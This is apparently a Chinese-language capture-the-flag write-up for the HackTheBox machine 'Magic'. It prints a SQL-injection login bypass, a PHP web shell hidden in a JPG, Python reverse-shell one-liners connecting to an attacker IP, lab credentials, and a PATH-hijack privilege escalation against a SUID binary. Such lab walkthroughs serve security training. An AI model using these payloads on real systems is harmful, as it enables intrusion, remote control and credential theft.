HackTheBox >_ Magic_185
Magic_185
是一个可以通过登录上传图片并展示的网站,查看源码,发现了可能的文件上传目录
看一下登录页面
抓包,用数据库登录绕过语句字典打一下
可成功绕过的语句有很多。随便使用一个登录
admin' or '1'='1'#
尝试上传,看提示只允许jpg,jpeg,png。
使用最常用的方法制作jpg cmd shell,随便cp到工作目录一个jpg图片文件,为图片追加php
echo '<?php system($_GET['cmd']); ?>' >> img_cmd_shell.php.jpg
也可以使用exiftool增加exif信息,但是这样的处理方法命令回显在乱码中,不容易找到。而追加方法则会让回显在页面最后,清晰可见
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' jpg_cmd_shell.php.jpg
上传
10.10.10.185/images/uploads/jpg_cmd_shell.php.jpg?cmd=id
这是exiftool的方法制作的,回显在乱码中间,再看看通过普通追加的
10.10.10.185/images/uploads/img_cmd_shell.php.jpg?cmd=id
回显在页面最下发
查看是否具有python
python没有,只有python3 ,一样的,在本地1337端口建立监听,浏览器命令
10.10.10.185/images/uploads/img_cmd_shell.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.189",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
图片似乎很快被清理掉了,如果出现404,则重新上传图片即可
一些枚举之后发现数据库凭证
theseus:iamkingtheseus
尝试密码复用,但是并没有成功
本地登录mysql
mysql localhost -u theseus -p
没有mysql?
查看/usr/bin
发现mysqldump
参考到之前在db.php中发现的数据库名为Magic,使用mysqldump将整个数据库dump下来
mysqldump --databases Magic -u theseus -p
在输出中发现新的凭据
因为home下只有一个用户theseus,所以猜测这个密码仍然属于theseus,尝试密码复用
Th3s3usW4sK1ng
成功切换
在利用linpeas脚本进行了一些枚举后发现
拥有s权限
但是sysinfo初步看来并没有什么有用信息
尝试运行,信息有4部分组成
hardware info
disk info
cpu info
men usage
看输出内容应该是调用了系统命令
最常用的就是free和fdisk了。对比一下,果然。
而fdisk是需要root权限的
所以sysinfo所需的s权限应该就是在执行fdisk -l时的root权限。
我们可以通过伪造环境变量,让sysinfo错误的以为我们在当前文件夹伪造的fdisk文件,是/sbin/fdisk命令
首先在/tmp文件夹下伪造fdisk,内容为python rshell命令。
vi fdisk
写入以下内容
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.189",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
增加可执行权限
chmod +x fdisk
修改环境变量,并执行sysinfo
export PATH=/tmp:$PATH
/bin/sysinfo